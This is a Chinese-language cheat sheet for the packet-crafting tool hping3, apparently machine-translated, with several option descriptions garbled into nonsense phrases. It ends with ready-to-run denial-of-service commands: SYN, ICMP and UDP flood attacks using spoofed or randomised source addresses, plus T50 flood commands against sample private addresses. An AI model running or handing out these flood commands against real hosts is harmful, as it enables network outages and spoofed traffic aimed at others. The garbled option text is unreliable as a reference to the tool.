|
hping3 几乎可以定制发送任何TCP/IP数据包，用于测试FW，端口扫描，性能测试
-c - 计数包计数
-i - interval wait（uX表示X微秒，例如-i u1000）
- -i u10000的快速别名（第二个10个数据包）
- -i u1000的快速别名（第二个100个数据包）
--flood尽可能快地发送数据包。不要显示回复。
-n - 数字数字输出
-q - 安静
-I - 接口接口名称（否则为默认路由接口）
-V - verbose verbose模式
-D - 调试调试信息
-z - 绑定ctrl + z到ttl（默认为dst端口）
-Z - unbind unbind ctrl + z - 为收到的每个匹配数据包发出蜂鸣声
模式
默认模式TCP
-0 - RAIP RAW IP模式
-1 - icmp ICMP模式
-2 - 表示UDP模式
-8 - 扫描SCAN模式。示例：hping --scan 1-30,70-90 -S www.target.host
-9 - 听听模式
IP
-a - 欺骗欺骗源地址
--rand-dest随机destionation地址模式。看到那个男人。
--rand-source随机源地址模式。看到那个男人。
-t --ttl ttl（默认64）
-N - id id（默认随机）
-W --winid使用win * id字节排序
-r --rel相对化id字段（估计主机流量）
-f --frag分割更多碎片的数据包。 （可以通过弱acl）
-x --morefrag设置更多片段标志
-y --dontfrag set不分片标志
-g --fragoff设置片段偏移量
-m --mtu设置虚拟mtu，暗示--frag如果数据包大小> mtu
-o --tos服务类型（默认为0x00），尝试--tos帮助
-G --rroute包含RECORD_ROUTE选项并显示路由缓冲区
--lsrr松散的源路由和记录路由
--ssrr严格的源路由和记录路由
-H --ipproto仅在RAW IP模式下设置IP协议字段
ICMP
-C --icmptype icmp type（默认回显请求）
-K - icmpcode icmp code（默认为0）
--force-icmp发送所有icmp类型（默认发送仅支持的类型）
--icmp-gw设置ICMP重定向的网关地址（默认为0.0.0.0）
--icmp-ts别名为--icmp --icmptype 13（ICMP时间戳）
--icmp-addr别名为--icmp --icmptype 17（ICMP地址子网掩码）
--icmp-help显示其他icmp选项的帮助
UDP / TCP
-s --baseport基本源端口（默认随机）
-P --destport [+] [+] <port>目标端口（默认为0）ctrl + z inc / dec
-k - 保持静止源端口
-w --win winsize（默认64）
-O --tcpoff设置假tcp数据偏移量（而不是tcphdrlen / 4）
-Q --seqnum仅显示tcp序列号
-b --badcksum（尝试）发送具有错误IP校验和的数据包
许多系统将修复发送数据包的IP校验和
所以你会得到错误的UDP / TCP校验和。
-M --setseq设置TCP序列号
-L --setack设置TCP确认
-F --fin设置FIN标志
-S --syn设置SYN标志
-R - 首先设置RST标志
-P --push设置PUSH标志
-A --ack设置ACK标志
-U - 设置URG标志
-X --xmas设置X未使用标志（0x40）
-Y --ymas设置Y未使用标志（0x80）
--tcpexitcode使用最后的tcp-> th_flags作为退出代码
--tcp-mss启用具有给定值的TCP MSS选项
--tcp-timestamp启用TCP时间戳选项以猜测HZ /正常运行时间
同项
-d - 数据数据大小（默认为0）
-E - 文件中的文件数据
-e --sign添加'签名'
-j --dump以十六进制转储数据包
-J --print转储可打印字符
-B --safe启用“安全”协议
-u --end告诉你--file何时达到EOF并防止倒带
-T --traceroute traceroute mode（暗示--bind和--ttl 1）
--tr-stop在traceroute模式下收到第一个非ICMP时退出
--tr-keep-ttl保持源TTL固定，仅用于监视一跳
--tr-no-rtt不要在traceroute模式下计算/显示RTT信息，ARS包描述（新的，不稳定的）
--apd-send发送APD描述的数据包
syn flood攻击 hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.1.12 hping3 -S -P -U -p 80 --flood --rand-source 192.168.1.12 hping3 -SARFUP -p 80 --flood --rand-source 192.168.1.12
icmp flood攻击 hping3 -q -n -a 192.168.1.12 --icmp -d 56 --flood 192.168.1.10
udp flood攻击 hping3 -a 192.168.1.12 --udp -s 53 -d 100 -p 53 --flood 192.168.1.10
T50
t50 192.168.1.12 --flood --turbo -S --protocol TCP --dport 80
t50 192.168.1.12 --flood --turbo -S TCP UDP OSPF EIGRP --dport 22
| 
